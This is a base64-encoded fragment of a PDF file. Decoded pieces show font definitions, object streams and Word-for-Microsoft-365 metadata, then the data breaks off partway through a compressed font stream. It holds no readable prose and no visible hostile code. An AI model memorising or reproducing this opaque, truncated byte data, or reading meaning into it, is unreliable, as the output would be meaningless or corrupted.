UIdSqTaSsqgG30RY09/HXGoixqmFSjFXOwc5igeDrhP8gzpyAkbZXM5BUoshy7RllovDL1p5SF/mKAchU2jV0FOOAgqxVWNPWcdWMWGqLQyzcqn0rEjMh2REKIRAETOISW2TwAOMgFVWzzxizokgg6OIWrblWuWkobO+hryfuabxFSNkYIKPpBzUhNoKUbtnVMVgnJHCjC1KZRPqV+WUy6ijh4bSHLw6aTZVkpaIJTlLBMy3QmR+VoggL7cKOeS1zO1gwLuDUaWDAZ3cvrBIGzsY8N4iH77Z0tVgwKQHA5XQ4mCgDlpuMFALiAYDjQDtDAYQWOFgQKdmIMq0sYOBSjMhkB8fOAR4kZO3MY43bo7yd4YA/uIk/z4jgJKC3l1AhWuI2jn4YUDjkZrnRwCIq3QEkFw7XKIssxvGIMyBUn9Q6F+LkUL/dp5xFA/2gSc4BoUNBKww9E9uOFCkjQ39a82UB0L/WsgU+jf0lKOAQiTU2FP2Q39pYVlRjKRDXHYb16MIdfW3QnOEmNYTg3YUIUa9FZrjyKgnxr43Ujj6DkIU3GxkYrCZ1xRHZ6gKllpsjYsh6WwbRdFrISpJrOxcFJ2WiNbPErkoOitEkJdb8VG0guV5Jlbwlew+cTCL9xltXBStJi36hg/6Lj06ASP/Y81MTUiVaUsvosfI8AQzsW0QLuqeWCuTT22XKOP63jOMxGYbgSGzslamUv5l2riOo7WZ+0TtOcTkFzOSyELUu9mVjJ5I1CiyEPVu6mTWk0udoNBC1LtJEUZT7EtR1UzUe+mOxbZMuoNqO0PUGQmyfpHIEHVeCCFf3aqAqK2DJ4IKidok9zst0sYStVNNNpPYIWoEVkjUJpXDLtPGEnV7M4lbEVchUZvkivgSZSxRn2AkUSsBKyNqk9y9sUgbS9SNzdwlauWhqikbUZNIPqLO6SGiJpF8RL3oyUTUJJSPqDlNsTNFVbmI+sq2TERNtZ0j6rREtH6WyBF1VoggL7cqIGptYZPHwry0SS4TLtLGErX/oWtwesEOUSOwwlyrSS81LdHGEnV7M6ltIK7CjJvJL4RklLFEfYKR1GwJWFn2yDDL9RhtLFE3NnOfqK0VMhtQo0Q+ns5oiSwdJPLR9KwlE0yjTD6WZvTEXjQoykXSi1W5QBorGZ/EWar4unDSEtHwWQIfXrkRIquyQoR4uVV4PmUtc8vP0vgKLuZnZhEho43lZyVhZ7Qz+BmBlfIzszCO0cbyc3szqV0grkJ+tvk1UYwylp9PMJIaLQEr42fLLOxhtLH83NjMfX7WRvT51DSJMIF0Rk+kaBRhAulZTy6QRiEmkGY0xT4UVWUD6cW2XCCNtZ0LpNMS0fpZIhdIZ4UI8nKrgkDa14g1pURtmQUejDaWqGFvn3NS0wiskKgts2iB0cYSdXszqW0grlKizk9dM8pYoj7BSGq2BKyQqJlpWEYbS9SNzdwnaqn9e56oUYQh6oyeSNQowhD1rCdH1CjEEDWjKXamqCpL1IttOaLG2s4RdVoiWj9L5Ig6K0SQl1vxRC29Xl2cmrbMHCKjjSNqCdt8nJKaJmCFqWnLzCEy2jiiPsFMbBuEqzA1bfNziIwyjqjPMBKbbQRWlpq2zBwio40j6tZm7hN1r4VlUtMowhB1Rk8kahRhiHrWkyNqFGKImtEUO1NUlSXqxbYMUVNtZ4g6I0HWLxIZos4LIeSrWxUQtTVh188yonbMHCKjjSVqeOK0wZkWO0SNwAqJ2jFziIw2lqjbm0ncirgKidrl5xAZZSxRn2AkUSsBKyNqx8whMtpYom5s5i5Ry1ELM/PrXmoaJfKp6YwWYmmUyKemZy2Z1DTK5FPTjJ7YiwZFudT0YlUmNU2VnOPntEQ0fJbI8XNWiBAvtyrgZ63hPMXCjIdjpg4ZbSw/m16Mp6SmCVhhxsMxU4eMNpaf25tJ7QJxFWY8XH7qkFHG8vMJRlKjJWBlGQ/HTB0y2lh+bmzmPj9bDTvKZwkaRRiGzuiJFI0iDEfPenIkjUIMSzOaYh+KqrI8vdiWI2qs7cwcYkYiWj9LZOYQ80IEebkVP4copYLDR0uJmplDZLSxRA27g57C04irlKeZKURGG8vTza2kloGwCml6zM8gMspYmm5vI7VZwlXG0iMzgchoY1m6rZX7JK2VoCejkySNIgxJZ/REkkYRhqRnPTmSRiGGpBlNsSNFVVmSXmzLkTRWdi6aTktE62eJXDSdFSLIy60KouleCedKSXpk5g8ZbSxJw87X56SlEVghS4/M/CGjjWXp9mZS20BcpTSdnz9klLE0fYKR1GwJWCFPM/OHjDaWpxubuU/UUopplU62G6JGkVVa2m5JKK0nEjWKrNLSdktVUc9VMtneEjUKrdLSdstneU2xL0VV12lpu2G92bYlLW03RI21nSPqtES0fpbIEXVWiCAvt8oRNVYwbGZqxribLpfjG5Pzh0XaOKIeJu/KDTe1/+vsfwSM9nplzUzPH5Zo44j6BDOxbRCuwrT0mJ8/ZJRl9o4FslsbWXEiJ20h+zLsD/vAvT6P4YedfWQ9/tT+BdV4nIKlZq3w7PcI/e5xZsSTEfkmc3/NJ5xsdMHltJIxnsKjpwEyFgPsryQ72OICfurf9M1tbhx4Sg4Ii7Ckd1cFD3b+55NQNYMljVsb96s3gbvWzl8mti6oxoxxQzXm5F4K9YCgL2qFJ+W1mWNKZO/fh8QwtECEAqCcSBydBJH85mo5PTFGyorQCCGI5DdXW/TkxrucUNhcjaTym6txqmJAHFVlRsVLCeyNiul+5JHZGGiRKYmBPOXo4hhoYg6yZrSxMRCcTnJKCIS4CkOgKTUkL9PGhkDNraROFmEVRkBTcsq6RBkbAV3Z2PhI8vUW6CT5h1TgUWsGBR6VZiTjoGo4Vkyt0NREQYS7KApKyW6joEnfREHWwNsDoiAmE8FgyURBxheE/7kTsmYjVFkV/tSCpfCnFmw6/KkGFLqhRngeEv7MveQAp5TMveT67CkK7YIIdck7Z08tOrbnSsXbYPlkp/cWmez0HnWfKkSMpZ0xl5DIa2M7Y3i4sfWTJ9h/IrDS3phLSOS1sb1xezOJ6xFXaXfMJCTyytju+NrIh3QdVcmHWqwGWlI91mSnW40njDRa4anpdgl5Ubebkt3pdm+TD1rBOvDybnfouexDHgybfdAG9nOszj7Udb+1mKn7rcWc7n6rAYWOpxGemu7X9yCG6X5RJNP9zjrS3S/seruMvffPoByUFXqaC3HnRrOW9BmTpGQXzH77SI2Tiw+ZHDoHJ3yudvnttYCTjL276Qo6+vTufpoCdyt9+Rc45noKI6tew5Bq0vESDLrG+Q0vvQqv/3x3b+ff4Fek5/W1ns+92KztKxSg/17i4dyke3V337e4yXc0t43hSIkpIDZbX2TbpnkMjYWVXtVosMS/wCKksqNyxcJblec/hcq6rj7oxM3k6bClUbDppz3glXsnn25aUyofc+TI1rAayHXhcO6aqYU36Nh/wiPl34YSpvPl/wPedDxm/m94sDwdQU/H09O1d6iErtGB9LnfrUX+LRxPT5d+xJvTyfUEhY6zp2v09g/1HrBTkAoWJwz1BXmgke2iMXBkcCs0+/54+AjhnYbk+wzYJw76m+Hvz1UD9DUH0DxKrvJNJuwS/EiKGOZaVT2aIXSzMryq8IoFuOrnPwlffYb/4HXqq7Ea2hawlFr4gPCRFLCUDgLzSjQ+yhtMOCHl/xrD8sGkOVDvVH97jQpf19HVz0OlY9V/ee0a+JULnjOG1ym8ol9th0mHQp/BCTk9FsdQOMp8bI6h5AgxVHUhYdyNQTrxJzV8coVftIUb8gWPpk6thmFcbZ32fnw34eGow9AWmBvDRm21xXTfFs0oha13/aWYpJRtgU1OHIg32paS7vtwZNzhUlL+ry0yzOc+kkanZZglfWxEqpUfkdSX0ccwxpp71j8EPm1Lndo8plif8tyPjzppNeJjIQV3yNnPo046m/GxFBPOKTThTt0UmYHnCtoN/0Jq4P8BWKF5QA0KZW5kc3RyZWFtDQplbmRvYmoNCjUgMCBvYmoNCjw8L1R5cGUvRm9udC9TdWJ0eXBlL1RydWVUeXBlL05hbWUvRjEvQmFzZUZvbnQvQkNERUVFK0NlbnR1cnlHb3RoaWMtQm9sZC9FbmNvZGluZy9XaW5BbnNpRW5jb2RpbmcvRm9udERlc2NyaXB0b3IgNiAwIFIvRmlyc3RDaGFyIDMyL0xhc3RDaGFyIDEyNC9XaWR0aHMgMjMwIDAgUj4+DQplbmRvYmoNCjYgMCBvYmoNCjw8L1R5cGUvRm9udERlc2NyaXB0b3IvRm9udE5hbWUvQkNERUVFK0NlbnR1cnlHb3RoaWMtQm9sZC9GbGFncyAzMi9JdGFsaWNBbmdsZSAwL0FzY2VudCAxMDA2L0Rlc2NlbnQgLTIwOC9DYXBIZWlnaHQgNzUwL0F2Z1dpZHRoIDQ4NS9NYXhXaWR0aCAxMzc1L0ZvbnRXZWlnaHQgNzAwL1hIZWlnaHQgMjUwL0xlYWRpbmcgMTQvU3RlbVYgNDgvRm9udEJCb3hbIC0xMTUgLTIwOCAxMjYwIDc1MF0gL0ZvbnRGaWxlMiAyMzEgMCBSPj4NCmVuZG9iag0KNyAwIG9iag0KPDwvVHlwZS9FeHRHU3RhdGUvQk0vTm9ybWFsL2NhIDE+Pg0KZW5kb2JqDQo4IDAgb2JqDQo8PC9UeXBlL0V4dEdTdGF0ZS9CTS9Ob3JtYWwvQ0EgMT4+DQplbmRvYmoNCjkgMCBvYmoNCjw8L1R5cGUvRm9udC9TdWJ0eXBlL1RydWVUeXBlL05hbWUvRjIvQmFzZUZvbnQvQkNERkVFK0NlbnR1cnlHb3RoaWMvRW5jb2RpbmcvV2luQW5zaUVuY29kaW5nL0ZvbnREZXNjcmlwdG9yIDEwIDAgUi9GaXJzdENoYXIgMzIvTGFzdENoYXIgMTIxL1dpZHRocyAyMzUgMCBSPj4NCmVuZG9iag0KMTAgMCBvYmoNCjw8L1R5cGUvRm9udERlc2NyaXB0b3IvRm9udE5hbWUvQkNERkVFK0NlbnR1cnlHb3RoaWMvRmxhZ3MgMzIvSXRhbGljQW5nbGUgMC9Bc2NlbnQgMTAwNi9EZXNjZW50IC0yMDgvQ2FwSGVpZ2h0IDc1MC9BdmdXaWR0aCA0ODYvTWF4V2lkdGggMTMyMi9Gb250V2VpZ2h0IDQwMC9YSGVpZ2h0IDI1MC9MZWFkaW5nIDM1L1N0ZW1WIDQ4L0ZvbnRCQm94WyAtMTY5IC0yMDggMTE1MiA3NTBdIC9Gb250RmlsZTIgMjMzIDAgUj4+DQplbmRvYmoNCjExIDAgb2JqDQo8PC9UeXBlL0ZvbnQvU3VidHlwZS9UeXBlMC9CYXNlRm9udC9CQ0RHRUUrQ2VudHVyeUdvdGhpYy9FbmNvZGluZy9JZGVudGl0eS1IL0Rlc2NlbmRhbnRGb250cyAxMiAwIFIvVG9Vbmljb2RlIDIzMiAwIFI+Pg0KZW5kb2JqDQoxMiAwIG9iag0KWyAxMyAwIFJdIA0KZW5kb2JqDQoxMyAwIG9iag0KPDwvQmFzZUZvbnQvQkNER0VFK0NlbnR1cnlHb3RoaWMvU3VidHlwZS9DSURGb250VHlwZTIvVHlwZS9Gb250L0NJRFRvR0lETWFwL0lkZW50aXR5L0RXIDEwMDAvQ0lEU3lzdGVtSW5mbyAxNCAwIFIvRm9udERlc2NyaXB0b3IgMTUgMCBSL1cgMjM0IDAgUj4+DQplbmRvYmoNCjE0IDAgb2JqDQo8PC9PcmRlcmluZyhJZGVudGl0eSkgL1JlZ2lzdHJ5KEFkb2JlKSAvU3VwcGxlbWVudCAwPj4NCmVuZG9iag0KMTUgMCBvYmoNCjw8L1R5cGUvRm9udERlc2NyaXB0b3IvRm9udE5hbWUvQkNER0VFK0NlbnR1cnlHb3RoaWMvRmxh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